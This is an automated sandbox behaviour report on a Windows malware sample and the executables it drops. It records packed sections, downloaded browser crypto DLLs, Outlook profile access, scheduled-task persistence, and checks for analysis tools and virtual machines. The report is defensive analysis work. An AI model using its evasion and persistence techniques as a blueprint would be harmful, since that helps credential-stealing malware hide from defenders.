Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1804800 > 1048576

Source: file.exe

Static PE information: Raw size of usnqrurm is bigger than: 0x100000 < 0x19ec00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2735772183.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2735772183.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.f70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;usnqrurm:EW;lwawxdwo:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;usnqrurm:EW;lwawxdwo:EW;.taggant:EW;
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Unpacked PE file: 31.2.DocumentsBFHDHJKKJD.exe.470000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ziuuvnhg:EW;jaocwzsc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ziuuvnhg:EW;jaocwzsc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 32.2.skotes.exe.6a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ziuuvnhg:EW;jaocwzsc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ziuuvnhg:EW;jaocwzsc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 33.2.skotes.exe.6a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ziuuvnhg:EW;jaocwzsc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ziuuvnhg:EW;jaocwzsc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 35.2.skotes.exe.6a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ziuuvnhg:EW;jaocwzsc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ziuuvnhg:EW;jaocwzsc:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C963480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6C963480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: skotes.exe.31.dr	Static PE information: real checksum: 0x1dd31e should be: 0x1d54ee
Source: 75ca5498ad.exe.35.dr	Static PE information: real checksum: 0x43d056 should be: 0x30f61f
Source: file.exe	Static PE information: real checksum: 0x1c88ed should be: 0x1be0d7
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x43d056 should be: 0x30f61f
Source: DocumentsBFHDHJKKJD.exe.0.dr	Static PE information: real checksum: 0x1dd31e should be: 0x1d54ee

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: usnqrurm
Source: file.exe	Static PE information: section name: lwawxdwo
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: DocumentsBFHDHJKKJD.exe.0.dr	Static PE information: section name:
Source: DocumentsBFHDHJKKJD.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsBFHDHJKKJD.exe.0.dr	Static PE information: section name:
Source: DocumentsBFHDHJKKJD.exe.0.dr	Static PE information: section name: ziuuvnhg
Source: DocumentsBFHDHJKKJD.exe.0.dr	Static PE information: section name: jaocwzsc
Source: DocumentsBFHDHJKKJD.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: lfzdpzkb
Source: random[1].exe.0.dr	Static PE information: section name: hgbjbfhm
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.31.dr	Static PE information: section name:
Source: skotes.exe.31.dr	Static PE information: section name: .idata
Source: skotes.exe.31.dr	Static PE information: section name:
Source: skotes.exe.31.dr	Static PE information: section name: ziuuvnhg
Source: skotes.exe.31.dr	Static PE information: section name: jaocwzsc
Source: skotes.exe.31.dr	Static PE information: section name: .taggant
Source: 75ca5498ad.exe.35.dr	Static PE information: section name:
Source: 75ca5498ad.exe.35.dr	Static PE information: section name: .idata
Source: 75ca5498ad.exe.35.dr	Static PE information: section name:
Source: 75ca5498ad.exe.35.dr	Static PE information: section name: lfzdpzkb
Source: 75ca5498ad.exe.35.dr	Static PE information: section name: hgbjbfhm
Source: 75ca5498ad.exe.35.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B536 push ecx; ret		0_2_6C99B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 35_2_006BD91C push ecx; ret		35_2_006BD92F

Source: file.exe	Static PE information: section name: usnqrurm entropy: 7.953332596858769
Source: DocumentsBFHDHJKKJD.exe.0.dr	Static PE information: section name: entropy: 7.982711990672645
Source: DocumentsBFHDHJKKJD.exe.0.dr	Static PE information: section name: ziuuvnhg entropy: 7.954189351012769
Source: random[1].exe.0.dr	Static PE information: section name: lfzdpzkb entropy: 7.919775711481692
Source: skotes.exe.31.dr	Static PE information: section name: entropy: 7.982711990672645
Source: skotes.exe.31.dr	Static PE information: section name: ziuuvnhg entropy: 7.954189351012769
Source: 75ca5498ad.exe.35.dr	Static PE information: section name: lfzdpzkb entropy: 7.919775711481692

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsBFHDHJKKJD.exe

Jump to dropped file

Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsBFHDHJKKJD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009574001\75ca5498ad.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsBFHDHJKKJD.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsBFHDHJKKJD.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsBFHDHJKKJD.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9C55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C9C55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C01DA second address: 11BFA63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jne 00007F3CD8C3C7E2h 0x00000011 nop 0x00000012 jmp 00007F3CD8C3C7DAh 0x00000017 push dword ptr [ebp+122D1679h] 0x0000001d stc 0x0000001e call dword ptr [ebp+122D25DFh] 0x00000024 pushad 0x00000025 pushad 0x00000026 sub ch, FFFFFF90h 0x00000029 xor dword ptr [ebp+122D2458h], ebx 0x0000002f popad 0x00000030 xor eax, eax 0x00000032 sub dword ptr [ebp+122D25FDh], eax 0x00000038 mov edx, dword ptr [esp+28h] 0x0000003c sub dword ptr [ebp+122D2458h], ebx 0x00000042 mov dword ptr [ebp+122D38A4h], eax 0x00000048 mov dword ptr [ebp+122D25FDh], edx 0x0000004e mov esi, 0000003Ch 0x00000053 jmp 00007F3CD8C3C7E5h 0x00000058 jmp 00007F3CD8C3C7E7h 0x0000005d add esi, dword ptr [esp+24h] 0x00000061 mov dword ptr [ebp+122D25FDh], esi 0x00000067 lodsw 0x00000069 or dword ptr [ebp+122D2DEFh], edi 0x0000006f add eax, dword ptr [esp+24h] 0x00000073 jmp 00007F3CD8C3C7E9h 0x00000078 mov ebx, dword ptr [esp+24h] 0x0000007c cmc 0x0000007d nop 0x0000007e jl 00007F3CD8C3C7DEh 0x00000084 jg 00007F3CD8C3C7D8h 0x0000008a push eax 0x0000008b push eax 0x0000008c push edx 0x0000008d jmp 00007F3CD8C3C7E1h 0x00000092 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133E3DB second address: 133E3E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133E3E1 second address: 133E3F5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007F3CD8C3C7DAh 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1324167 second address: 132416D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132416D second address: 13241B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3CD8C3C7E0h 0x00000009 popad 0x0000000a push ebx 0x0000000b jmp 00007F3CD8C3C7E7h 0x00000010 pop ebx 0x00000011 pop esi 0x00000012 jl 00007F3CD8C3C7F8h 0x00000018 pushad 0x00000019 push edx 0x0000001a pop edx 0x0000001b jmp 00007F3CD8C3C7DCh 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13241B6 second address: 13241BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D4E9 second address: 133D4ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D4ED second address: 133D4FC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jl 00007F3CD87760E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D4FC second address: 133D504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D504 second address: 133D521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jng 00007F3CD87760E6h 0x00000010 push esi 0x00000011 pop esi 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pop esi 0x00000017 jc 00007F3CD87760E6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D521 second address: 133D531 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7DCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D7CB second address: 133D7CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D910 second address: 133D91C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F3CD8C3C7D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D91C second address: 133D925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D925 second address: 133D934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3CD8C3C7DBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133DA9E second address: 133DAA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133DAA3 second address: 133DAAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F3CD8C3C7D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133FDBD second address: 133FDC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133FDC1 second address: 133FDF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jo 00007F3CD8C3C7E6h 0x0000000e ja 00007F3CD8C3C7E0h 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F3CD8C3C7E1h 0x00000020 rdtsc
